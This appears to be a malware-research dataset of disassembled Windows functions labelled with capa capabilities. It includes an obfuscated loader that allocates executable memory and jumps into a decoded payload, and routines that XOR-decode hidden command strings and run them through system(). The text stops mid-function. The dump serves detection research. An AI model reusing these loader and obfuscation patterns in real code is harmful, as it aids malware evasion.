joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2d8bec38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x2d8bec47
pop dword [ebp - 0x2c]
mov eax, 0x80f2b5b2
sub eax, 0x5366c96b
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x416bf15b
add dword [ebp - 0x3c], 0xce653f0
mov dword [ebp - 0x38], 0xe4f58c42
sub dword [ebp - 0x38], 0xb2c23ffd
mov dword [ebp - 0x34], 0x5222b9d7
sub dword [ebp - 0x34], 0x5d675a9
mov dword [ebp - 0x30], 0x5fa01225
sub dword [ebp - 0x30], 0x5fa01225
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x355bb5fd
add eax, 0xf833ba8b
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x23f26d1a
add dword [ebp - 0x3c], 0x507ffc3c
mov dword [ebp - 0x38], 0x550337aa
add dword [ebp - 0x38], 0xec6929cb
mov dword [ebp - 0x34], 0xf45e29cd
sub dword [ebp - 0x34], 0x90eebd61
mov dword [ebp - 0x30], 0xed84a011
add dword [ebp - 0x30], 0x127b5fef
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xa1617bec
add eax, 0x8c2df4a4
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x6a6bc
push 0
call eax
mov ecx, 0x7718537
add ecx, 0xf88ec085
mov esi, eax
mov edi, 0xa8f77d26
add edi, 0x84a322da
add edi, dword [ebp - 0x2c]
mov ebx, 0x4a7e7bc9
sub ebx, 0x1e89e83a
sub dword [ebp - 0x20], ecx
mov edx, dword [edi]
xor dword [ebp - 0x1c], ebx
add edx, ebx
mov dword [ebp - 0xc], 0x6e78d48
mov dword [esi], edx
mov dword [ebp - 0x10], 0x8e069433
add esi, 0x4a0dad1
sub esi, 0x4a0dacd
add edi, 0x965f6691
sub edi, 0x965f668d
loop 0x2d8bed69
add eax, 0xb4d61b2c
add eax, 0x4b2aee97
mov ebx, eax
add eax, 0x3e8b7276
sub eax, 0x3e8b7271
mov ecx, 0x2d800000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x402340
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x438040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x124
mov esi, eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x12c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4023d4
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop word [eax + eax]
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x134]
call edi
add esp, 8
test eax, eax
je 0x4023ee
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x4023b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f151
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0042f151
mov esp, ebp
pop ebp
ret
Function at 0x4033c0
Capabilities:
Encode data using xor
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movaps xmm0, xmmword [str.FRG_TU]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
push esi
movaps xmm0, xmmword [0x435c90]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0x314b4324
movaps xmm0, xmmword [0x435da0]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x1c065946
mov dword [ebp - 0x10], 0x535e4b06
mov dword [ebp - 0xc], 0x1005e48
lea eax, [ecx + 0x32]
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 0x3e
jb 0x403406
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 9], 0
call esi
movaps xmm0, xmmword [str.FRG_TU]
add esp, 4
movups xmmword [ebp - 0x48], xmm0
xor ecx, ecx
mov byte [ebp - 8], 1
movaps xmm0, xmmword [0x435cd0]
movups xmmword [ebp - 0x38], xmm0
movaps xmm0, xmmword [0x435d70]
movups xmmword [ebp - 0x28], xmm0
movaps xmm0, xmmword [str.M_DJ2GV_a]
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx + 0x32]
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 0x3f
jb 0x403458
lea eax, [ebp - 0x48]
mov byte [ebp - 8], 0
push eax
call esi
movaps xmm0, xmmword [str.FRG_TU]
add esp, 4
movups xmmword [ebp - 0x48], xmm0
xor ecx, ecx
mov word [ebp - 8], pe_nt_image_headers32
movaps xmm0, xmmword [0x435cc0]
movups xmmword [ebp - 0x38], xmm0
movaps xmm0, xmmword [0x435d90]
movups xmmword [ebp - 0x28], xmm0
movaps xmm0, xmmword [0x435d60]
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx + 0x32]
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 0x40
jb 0x4034a6
lea eax, [ebp - 0x48]
mov byte [ebp - 7], 0
push eax
call esi
movaps xmm0, xmmword [str.FRG_TU]
add esp, 4
movups xmmword [ebp - 0x44], xmm0
xor ecx, ecx
mov dword [ebp - 0x14], 0x100a5d42
movaps xmm0, xmmword [0x435d30]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x10], 0x575a470a
movaps xmm0, xmmword [0x435cf0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0xc], 0x1005a4c
lea eax, [ecx + 0x32]
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0x3a
jb 0x4034f8
lea eax, [ebp - 0x44]
mov byte [ebp - 9], 0
push eax
call esi
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403520
Capabilities:
Encode data using xor
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
push esi
lea ecx, [esp + 8]
call fcn.00402220
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
cmp ecx, 0x7b8a7ff
jne 0x40354a
cmp eax, 0x7ffffff2
je 0x40356e
cmp eax, 0x7ffffff2
jg 0x40356e
jl 0x40355b
cmp ecx, 0x7b8a7ff
jae 0x40356e
add ecx, 0xf8475800
mov dword [esp + 8], ecx
adc eax, 0xd
mov dword [esp + 0xc], eax
jmp 0x40357e
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x7fffffff
lea ecx, [esp + 8]
call fcn.00403e90
movaps xmm0, xmmword [str.FRG_TU]
xor ecx, ecx
movups xmmword [esp + 0x10], xmm0
mov dword [esp + 0x40], 0x314b4324
movaps xmm0, xmmword [0x435c90]
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x44], 0x1c065946
movaps xmm0, xmmword [0x435da0]
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x48], 0x535e4b06
mov dword [esp + 0x4c], 0x1005e48
nop dword [eax]
lea eax, [ecx + 0x32]
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x3e
jb 0x4035d0
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x53], 0
call esi
movaps xmm0, xmmword [str.FRG_TU]
add esp, 4
movups xmmword [esp + 0x10], xmm0
xor ecx, ecx
mov byte [esp + 0x50], 1
movaps xmm0, xmmword [0x435cd0]
movups xmmword [esp + 0x20], xmm0
movaps xmm0, xmmword [0x435d70]
movups xmmword [esp + 0x30], xmm0
movaps xmm0, xmmword [str.M_DJ2GV_a]
movups xmmword [esp + 0x40], xmm0
nop dword [eax]
lea eax, [ecx + 0x32]
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x3f
jb 0x403630
lea eax, [esp + 0x10]
mov byte [esp + 0x50], 0
push eax
call esi
movaps xmm0, xmmword [str.FRG_TU]
add esp, 4
movups xmmword [esp + 0x10], xmm0
xor ecx, ecx
mov word [esp + 0x50], pe_nt_image_headers32
movaps xmm0, xmmword [0x435cc0]
movups xmmword [esp + 0x20], xmm0
movaps xmm0, xmmword [0x435d90]
movups xmmword [esp + 0x30], xmm0
movaps xmm0, xmmword [0x435d60]
movups xmmword [esp + 0x40], xmm0
lea eax, [ecx + 0x32]
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x40
jb 0x403685
lea eax, [esp + 0x10]
mov byte [esp + 0x51], 0
push eax
call esi
movaps xmm0, xmmword [str.FRG_TU]
add esp, 4
movups xmmword [esp + 0x10], xmm0
xor ecx, ecx
mov dword [esp + 0x40], 0x100a5d42
movaps xmm0, xmmword [0x435d30]
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x44], 0x575a470a
movaps xmm0, xmmword [0x435cf0]
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x48], 0x1005a4c
nop
lea eax, [ecx + 0x32]
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x3a
jb 0x4036e0
lea eax, [esp + 0x10]
mov byte [esp + 0x4b], 0
push eax
call esi
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403df0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4304fd
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x438040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 4
call fcn.0042f18e
mov ecx, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov dword [ecx], eax
lea edi, [esi + 4]
mov dword [ebp - 4], 0
push edi
push 0
push ecx
push 0x403fb0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x403e72
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042f151
mov esp, ebp
pop ebp
ret 4
push 6
mov dword [edi], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x405c90
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x405cf1
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x405cd4
cmp edi, 2
jb 0x405cd4
cmp byte [esi], cl
jne 0x405cd4
cmp byte [esi + 1], cl
jne 0x405cd4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x431710]
jmp 0x405ca5
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x431710]
test edi, edi
jne 0x405ca5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x405d20
cmp cl, 0x23
jne 0x405d07
cmp byte [esi], cl
jne 0x405d07
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x431710]
test cl, cl
jne 0x405cf8
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x405e30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x405e44
mov dword [ebx], 0
mov edx, 0x4314f0
call fcn.00405d30
mov esi, eax
test esi, esi
je 0x405f32
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x405f28
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x405f28
push esi
call edi
mov edi, eax
add esp, 4
mov dword [ebp + 8], edi
cmp edi, 0xffffffff
je 0x405f28
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x405f28
mov eax, dword [0x4386c0]
test eax, eax
je 0x405ebc
inc dword [eax + 0x36c]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x405f28
push esi
push dword [ebp + 8]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x405f0d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x4386c0]
add esp, 4
test eax, eax
je 0x405efa
dec dword [eax + 0x36c]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x405f1f
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407520
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x438040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0xc4]
lea edx, [ebp - 8]
push ebx
mov ebx, dword [ecx + 0xcc]
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 4
mov ebx, dword [ebx + eax*4 - 4]
mov dword [ebp - 8], edi
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x431710]
sub esi, 1
jne 0x407553
mov eax, dword [0x4386c0]
not ebx
cmp dword [eax + 0x1be0], ebx
jne 0x407582
mov dword [eax + 0x1be4], ebx
cmp dword [eax + 0x1c1c], ebx
jne 0x407591
mov byte [eax + 0x1c20], 1
cmp dword [eax + 0x1bc8], ebx
jne 0x4075aa
push ecx
push edi
mov edx, 4
mov ecx, ebx
call fcn.004167a0
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042f151
mov esp, ebp
pop ebp
ret 4
Function at 0x40b810
Capabilities:
Hash data with crc32

Disassembly:
mov eax, ecx
or ecx, 0xffffffff
push ebx
push esi
mov bl, byte [eax]
lea esi, [eax + 1]
test bl, bl
je 0x40b84d
push edi
or edi, 0xffffffff
cmp bl, 0x23
jne 0x40b833
cmp byte [esi], bl
jne 0x40b833
cmp byte [esi + 1], bl
cmove ecx, edi
movzx edx, cl
movzx eax, bl
mov bl, byte [esi]
xor edx, eax
shr ecx, 8
inc esi
xor ecx, dword [edx*4 + 0x431710]
test bl, bl
jne 0x40b824
pop edi
pop esi
not ecx
pop ebx
jmp fcn.0040b7b0
Function at 0x4158b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x2fa8], 0
lea esi, [edi + 0x2fac]
je 0x415932
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x4158ec
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.004173d0
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.004061d0
mov edx, dword [esi]
mov ecx, 0x4386bc
push dword [edi + 0x2fa8]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x2fb4]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.004061d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fa10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x41fa4a
mov eax, dword [0x4386c0]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x41fa3d
dec dword [eax + 0x36c]
push ecx
call edi
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x41fa7b
mov eax, dword [0x4386c0]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x41fa6e
dec dword [eax + 0x36c]
push ecx
call edi
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x41faac
mov eax, dword [0x4386c0]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x41fa9f
dec dword [eax + 0x36c]
push ecx
call edi
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x41faf9
mov eax, dword [0x4386c0]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x41faec
dec dword [eax + 0x36c]
push ecx
call edi
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x41fb2a
mov eax, dword [0x4386c0]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x41fb1d
dec dword [eax + 0x36c]
push ecx
call edi
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x41fb5b
mov eax, dword [0x4386c0]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x41fb4e
dec dword [eax + 0x36c]
push ecx
call edi
add esp, 4
mov dword [esi + 0x5c], 0
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.00422290
Function at 0x42fda7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42fde6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42fde6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42fde6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42fde6
cmp dword [ecx + 0x74], 0xe
jbe 0x42fde6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401000
Capabilities:
Create directory
Get common file path

Disassembly:
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [esp + 8]
push esi
lea esi, [eax - 0x14]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp esi, eax
jbe 0x40106d
cmp byte [ebx], 0
je 0x40106d
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + ebx - 1], 0x5c
lea esi, [eax + ebx - 1]
je 0x401034
inc esi
mov byte [esi], 0x5c
push ebp
push edi
inc esi
xor edi, edi
mov ebp, 0x1000
mov eax, edi
inc edi
push eax
push str.bar._x_
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp edi, ebp
jge 0x401062
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40103e
xor eax, eax
cmp edi, ebp
pop edi
pop ebp
setl al
jmp 0x40106f
xor eax, eax
pop esi
pop ebx
ret

Function at 0x401072
Capabilities:
Create directory
Delete directory
Identify system language via api
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [0x403034], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x403014
push dword [ebp + 0x10]
call fcn.004015c7
mov esi, eax
push 0x403010
push dword [ebp + 0x10]
neg esi
sbb esi, esi
neg esi
call fcn.004015c7
add esp, 0x10
neg eax
sbb eax, eax
xor ebx, ebx
neg eax
cmp esi, ebx
mov dword [0x403030], eax
jne 0x4010db
push 0x40300c
push dword [ebp + 0x10]
call fcn.004015c7
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov dword [0x403030], eax
mov al, byte [0x403038]
push 0x4a
mov byte [ebp - 0x134], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, esi
push 0xfa
neg eax
sbb eax, eax
mov dword [ebp - 4], ebx
and eax, 2
mov dword [ebp - 8], eax
lea eax, [ebp - 0x134]
push eax
call section..text
pop ecx
test eax, eax
pop ecx
je 0x4011b1
cmp byte [ebp - 0x134], bl
je 0x4011b1
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, ebx
lea edi, [ebp + eax - 0x134]
jne 0x401152
lea eax, [ebp - 0x134]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x134]
push eax
push 0x4011bb
push str.PART
push dword [0x403034]
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
mov ecx, dword [ebp - 8]
xor eax, eax
cmp dword [ebp - 4], ebx
setne al
lea eax, [eax + ecx*2]
mov eax, dword [eax*4 + 0x402094]
cmp eax, 4
mov dword [ebp - 8], eax
jne 0x401155
cmp dword [ebp - 4], ebx
jne 0x4011b1
push 0x403008
mov byte [edi], bl
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405a9f
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
and byte [ebx], 0
lea eax, [ebp - 0x1f4]
push 0x4021b8
push eax
call dword [0x40206c]
mov edi, dword [ebp + 8]
cmp byte [edi], 0
je 0x405b12
mov esi, dword [0x402090]
push edi
call esi
mov edx, eax
lea eax, [ebp - 0x1f4]
push eax
mov dword [ebp + 0x10], edx
call esi
mov ecx, dword [ebp + 0x10]
lea eax, [ecx + eax + 2]
cmp eax, 0x1f4
jbe 0x405af4
xor eax, eax
jmp 0x405b2d
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x1f4]
push 0x4030e0
push eax
call esi
lea eax, [ebp - 0x1f4]
push edi
push eax
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x1f4]
push ebx
push dword [ebp + 0xc]
push eax
push 0x80000002
call fcn.00405b32
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405bb7
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push esi
push edi
lea eax, [ebp - 0x1f4]
push 0x4021b8
push eax
call dword [0x40206c]
mov edi, dword [ebp + 8]
cmp byte [edi], 0
je 0x405c1f
mov esi, dword [0x402090]
push ebx
push edi
call esi
mov ebx, eax
lea eax, [ebp - 0x1f4]
push eax
call esi
lea eax, [ebx + eax + 2]
pop ebx
cmp eax, 0x1f4
jbe 0x405c01
xor eax, eax
jmp 0x405c3c
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x1f4]
push 0x4030e0
push eax
call esi
lea eax, [ebp - 0x1f4]
push edi
push eax
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x1f4]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push 0x80000002
call fcn.00405c40
add esp, 0x14
pop edi
pop esi
leave
ret
Function at 0x463904
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
and byte [ebx], 0
lea eax, [ebp - 0x1f4]
push 0x4021d4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [ebp + 8]
cmp byte [edi], 0
je 0x463977
mov esi, dword [0x402090]
push edi
call esi
mov edx, eax
lea eax, [ebp - 0x1f4]
push eax
mov dword [ebp + 0x10], edx
call esi
mov ecx, dword [ebp + 0x10]
lea eax, [ecx + eax + 2]
cmp eax, 0x1f4
jbe 0x463959
xor eax, eax
jmp 0x463992
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x1f4]
push 0x403098
push eax
call esi
lea eax, [ebp - 0x1f4]
push edi
push eax
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x1f4]
push ebx
push dword [ebp + 0xc]
push eax
push 0x80000002
call fcn.00463997
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x463a1c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push esi
push edi
lea eax, [ebp - 0x1f4]
push 0x4021d4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [ebp + 8]
cmp byte [edi], 0
je 0x463a84
mov esi, dword [0x402090]
push ebx
push edi
call esi
mov ebx, eax
lea eax, [ebp - 0x1f4]
push eax
call esi
lea eax, [ebx + eax + 2]
pop ebx
cmp eax, 0x1f4
jbe 0x463a66
xor eax, eax
jmp 0x463aa1
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x1f4]
push 0x403098
push eax
call esi
lea eax, [ebp - 0x1f4]
push edi
push eax
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x1f4]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push 0x80000002
call fcn.00463aa5
add esp, 0x14
pop edi
pop esi
leave
ret
Function at 0x46b543
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
cmp eax, esi
push edi
je 0x46b557
mov dword [eax], esi
mov eax, dword [ebp + 0x14]
cmp eax, esi
je 0x46b560
mov dword [eax], esi
cmp dword [ebp + 0xc], esi
jbe 0x46b691
mov edi, dword [ebp + 8]
mov ax, word [edi]
push eax
call fcn.004687ee
test eax, eax
pop ecx
jne 0x46b58c
mov ax, word [edi]
push eax
call fcn.00468812
test eax, eax
pop ecx
je 0x46b691
push 1
mov dword [ebp + 8], esi
pop ebx
mov dword [ebp - 4], 0xfffffff6
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 0xc], ebx
mov esi, ebx
jbe 0x46b674
add edi, 2
mov dword [ebp - 8], edi
cmp dword [ebp + 8], 0
jne 0x46b691
mov eax, dword [ebp - 8]
mov di, word [eax]
push edi
call fcn.004687ee
test eax, eax
pop ecx
je 0x46b5f0
mov eax, esi
sub eax, dword [ebp - 4]
cmp eax, 2
ja 0x46b660
cmp di, 0x46
jbe 0x46b5e2
cmp di, 0x5a
jbe 0x46b65d
cmp di, 0x66
jbe 0x46b660
cmp di, 0x7a
ja 0x46b660
jmp 0x46b65d
push edi
call fcn.00468812
test eax, eax
pop ecx
jne 0x46b660
test di, di
je 0x46b674
and dword [ebp - 0xc], eax
mov eax, esi
sub eax, dword [ebp - 4]
cmp eax, 2
jbe 0x46b65d
movzx eax, di
cmp eax, 0x3b
jg 0x46b63f
cmp eax, 0x3a
jge 0x46b660
cmp eax, 0x24
je 0x46b660
cmp eax, 0x25
je 0x46b63a
cmp eax, 0x26
je 0x46b660
cmp eax, 0x2b
je 0x46b660
cmp eax, 0x2c
jle 0x46b65d
cmp eax, 0x2f
jle 0x46b660
jmp 0x46b65d
mov dword [ebp - 4], esi
jmp 0x46b660
cmp eax, 0x3d
je 0x46b660
cmp eax, 0x3e
jle 0x46b65d
cmp eax, 0x40
jle 0x46b660
cmp eax, 0x5c
je 0x46b660
cmp eax, 0x5f
je 0x46b660
cmp eax, 0x7e
je 0x46b660
mov dword [ebp + 8], ebx
add dword [ebp - 8], 2
inc esi
